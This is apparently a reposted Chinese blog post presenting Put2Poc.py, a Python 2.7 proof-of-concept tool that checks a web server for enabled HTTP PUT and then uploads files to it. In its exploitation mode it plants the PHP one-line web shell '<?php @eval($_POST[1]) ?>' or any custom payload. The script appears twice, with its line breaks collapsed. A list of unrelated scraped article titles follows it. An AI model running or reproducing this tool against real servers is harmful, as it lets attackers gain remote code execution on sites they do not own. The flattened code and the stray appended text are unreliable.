环境

Python 2.7 requestssys
Windows 7
Apache 已完成put配置。
PHP

Apache PUT配置

简单介绍一下源码,增加易读性。

POC入口函数,设置默认变量,接受和判断用户输入参数是否合法,调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN),接受返回所支持的方法,调用PUT方法上传文件。

def main():if len(sys.argv) < 2 :print u'''Version:1.0请输入将要验证的URL(eg:Put2Poc.py http://test.com)Put2Poc.py arg1 arg2arg1:目标URLarg2: 选择(1)验证OR(2)利用(默认为验证)arg3: 选择上传文件的目录,默认为/(eg:/test/)arg4: 设置长传的文件的文件名,默认为test.htmlarg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)注:当前版本仅支持PHP语言的利用'''sys.exit()if len(sys.argv) >= 2 :url = sys.argv[1]YN = 1path = '/'filename = 'test.html' content = None# print urlif 'http' not in url :print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'sys.exit()if len(sys.argv) >= 3 :# print type(sys.argv[2])if sys.argv[2] in '2' :filename = 'test.php'if sys.argv[2] not in ['1','2'] :print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'sys.exit()YN = sys.argv[2]if len(sys.argv) >= 4 :path = sys.argv[3]if len(sys.argv) >= 5 :filename = sys.argv[4]if len(sys.argv) >= 6 :content = sys.argv[5]if len(sys.argv) > 6 :print u'请检查参数设置'sys.exit()r_options = Test2Option(url,YN)if content is not None :Put2File(url,YN,r_options,path,filename,content)else:Put2File(url,YN,r_options,path,filename)# print r_options

Error2status(code) 判断请求的返回状态。

参数 code : 请求返回的状态码
def Error2status(code):if 400 <= code < 500:return 4if 500 <= code < 600 :return 5if 200 <= code < 400 :return True

Test2Option(url,YN)探测目标URL是否支持OPTIONS方法

参数 url : 请求的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
def Test2Option(url,YN):try:r = requests.options(url,verify=False,timeout=10)except :print u'Error,请检查链接是否可以访问'sys.exit()r_options = r.headersr_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'该链接不支持OPTIONS方法'sys.exit()if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'请检查链接是否可以访问'sys.exit()if r_status_code is True :print u'该链接存在不安全的HTTP方法'print r_options['Allow']return r_options['Allow']

Put2File(url,YN,r_options,path,filename,content=None)

参数 url : 测试的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
参数 r_options : 网站所支持的HTTP请求方法。
参数 path : 文件上传位置
参数 filename : 文件名
参数 content : 自定义文件内容。
def Put2File(url,YN,r_options,path,filename,content=None):url = url.rstrip('/') + path + filenameprint urlheaders = {'Accept': '*/*','Accept-Language': 'en-US','User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   }data = '<script>alert(1)</script>'if YN is '2':data = '<?php @eval($_POST[1]) ?>'if content is not None :data = contentr = requests.put(url,headers=headers,data=data)r_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code is True :print u'Server status code: %s' %(r.status_code)print u'服务器支持PUT文件上传'print u'文件名: %s' %(filename)print u'文件内容: %s' %(data)print u'文件长传位置为: %s' %(path)print u'文件链接: %s' %(url)print r.content

POC

#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#import requests
import sysdef Error2status(code):if 400 <= code < 500:return 4if 500 <= code < 600 :return 5if 200 <= code < 400 :return Truedef Test2Option(url,YN):try:r = requests.options(url,verify=False,timeout=10)except :print u'Error,请检查链接是否可以访问'sys.exit()r_options = r.headersr_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'该链接不支持OPTIONS方法'sys.exit()if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'请检查链接是否可以访问'sys.exit()if r_status_code is True :print u'该链接存在不安全的HTTP方法'print r_options['Allow']return r_options['Allow']def Put2File(url,YN,r_options,path,filename,content=None):url = url.rstrip('/') + path + filenameprint urlheaders = {'Accept': '*/*','Accept-Language': 'en-US','User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   }data = '<script>alert(1)</script>'if YN is '2':data = '<?php @eval($_POST[1]) ?>'if content is not None :data = contentr = requests.put(url,headers=headers,data=data)r_status_code = Error2status(r.status_code)if r_status_code == 4 :print u'%s Client Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code == 5 :print u'%s Server Error for url: %s' % (r.status_code,url)print u'服务器禁止上传文件'if r_status_code is True :print u'Server status code: %s' %(r.status_code)print u'服务器支持PUT文件上传'print u'文件名: %s' %(filename)print u'文件内容: %s' %(data)print u'文件长传位置为: %s' %(path)print u'文件链接: %s' %(url)print r.contentdef main():if len(sys.argv) < 2 :print u'''Version:1.0请输入将要验证的URL(eg:Put2Poc.py http://test.com)Put2Poc.py arg1 arg2arg1:目标URLarg2: 选择(1)验证OR(2)利用(默认为验证)arg3: 选择上传文件的目录,默认为/(eg:/test/)arg4: 设置长传的文件的文件名,默认为test.htmlarg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)注:当前版本仅支持PHP语言的利用'''sys.exit()if len(sys.argv) >= 2 :url = sys.argv[1]YN = 1path = '/'filename = 'test.html' content = None# print urlif 'http' not in url :print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'sys.exit()if len(sys.argv) >= 3 :# print type(sys.argv[2])if sys.argv[2] in '2' :filename = 'test.php'if sys.argv[2] not in ['1','2'] :print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'sys.exit()YN = sys.argv[2]if len(sys.argv) >= 4 :path = sys.argv[3]if len(sys.argv) >= 5 :filename = sys.argv[4]if len(sys.argv) >= 6 :content = sys.argv[5]if len(sys.argv) > 6 :print u'请检查参数设置'sys.exit()r_options = Test2Option(url,YN)if content is not None :Put2File(url,YN,r_options,path,filename,content)else:Put2File(url,YN,r_options,path,filename)# print r_optionsif __name__ == '__main__':main()

注:欢迎指正和提出修改意见。

转载于:https://blog.51cto.com/dearch/2060336

PUT上传POC--Put2Poc.py相关推荐

  1. python bottle 上传文件_bottle.py 实现批量文件上传

    bottle.py是python的一个Web框架,整个框架只有一个文件,几十K,却自带了路径映射.模板.简单的数据库访问等web框架组件,确实是个可用的框架.初学web开发可以拿来玩玩,其语法简单,部 ...

  2. django文件上传

    Django在处理文件上传时,文件数据被打包封装在request.FILES中. 一.简单上传 首先,写一个form模型,它必须包含一个FileField: # forms.py from djang ...

  3. python 上传文件夹,python – 使用Flask上传文件夹/文件

    我可以通过这个例子上传一个带烧瓶的文件: 但我不知道如何上传文件夹或一些文件.我搜索过,我发现了这个: Uploading multiple files with Flask.最后,我得到了如何上传多 ...

  4. django 类取消csrf_Django之Form组件详解、图片上传及定制

    Django的Form功能 生成HTML标签 验证用户数据(显示错误信息) HTML Form提交保留上次提交数据 初始化页面显示内容 Django form 流程 1.创建类,继承form.Form ...

  5. python flask上传文件_Python-Flask-文件上传

    一.Python-Flask-文件上传 1.简化版文件上传 创建目录: cd 5-4 mkdir -p uploads #必须先创建uploads文件夹. upload.html Title 文件上传 ...

  6. 2018年7月份,python上传自己的包库到pypi官网的方法

    最近pypi官网进行了更新,老的上传网址作废了.记录下上传到pypi的方法 0.去pypi官网注册账号,没账号是不可能上传的,想想也是那不乱套了吗,注册后会收到一个邮件需要点击然后重新登录 1.目录就 ...

  7. ORM中的事务和锁、Ajax异步请求和局部刷新、Ajax文件上传、日期时间类型的Json、多表查询图书系统

    一.ORM中的事务和锁 事务 事务要确保原子性 """ 事务ACID原子性:不可分隔的最小单位一致性:跟原子性是相辅相成隔离性:事务之间相互不干扰持久性:事务一旦确认永久 ...

  8. kindeditor=4.1.5上传漏洞复现

    0x00 漏洞描述 漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中 这里 ...

  9. 如何利用Pycharm将工程文件上传到服务器

    首先点击Tools->Deployment->Configuration 进入界面: 如果之前我们已经设置好了远程服务器,那么就直接选择.如果没有设置好,就选择左侧的"+&quo ...

  10. python 网盘上传_【Python3】基于文叔叔网盘上传与下载的Python脚本

    [Python] 纯文本查看 复制代码import requests import os import hashlib from threading import Thread import sys ...

最新文章

  1. C++_类和动态内存分配2-改进后的String类
  2. Docker容器对CPU资源隔离的几种方式
  3. git reset改写提交
  4. python 判断子序列_Leetcode练习(Python):第392题:判断子序列:给定字符串 s 和 t ,判断 s 是否为 t 的子序列。...
  5. python课程水平测试成绩查询_学业水平考试成绩查询系统入口
  6. web服务中使用线程池减少时间的方法
  7. 技术人创业之心不死!
  8. 怎样使按钮响应回车键
  9. 前端处理后端返回的二进制流文件
  10. SSM整合步骤(超详细)
  11. yii2自动更新时间
  12. SQLite3 获取最小可用ID,ID无需包含1
  13. 统计指标 ---离散趋势指标
  14. html+js+css+mysql实现音乐播放器
  15. 平衡小车c语言程序,【全部开源】两轮平衡小车(原理图、PCB、程序源码、BOM等)...
  16. zynq系列之-----PS端iic使用
  17. Crowding Counter 之 修改ShanghaiTech数据集
  18. 3GPP TS 29244-g30 中英文对照 | 5.4.5 DL Flow Level Marking for Application Detection
  19. 浪潮信息AIStation联合智源研究院 帮助用户灵敏获取本地AI算力
  20. 应用程序无法正常启动, 错误代码0xc0000007b

热门文章

  1. 2038年问题 linux内核5.6,Linux Kernel 5.6 开发者已准备好应对 2038 年问题
  2. dbhelp mysql c_C++写的一个MYSQL控制台(3)
  3. Beetl学习(一)
  4. cassss服务未启动_systemd时代的服务管理
  5. 深圳电大计算机等级考试报名时间2015,杭州2015下半年计算机等级考试报名
  6. java代码操作注册表,java操作注册表范例代码
  7. c语言五位数大到小排序,刚学c语言,老师让用if编一个五个数字从大到小的排序,有那个大神能帮我,谢谢啦...
  8. inputstream是否一定要close_新车是否需要底盘保养?一定要喷底盘防锈漆吗?
  9. maven配置 mysql_maven项目使用mybatis+mysql
  10. 扩展欧几里得算法(双六游戏)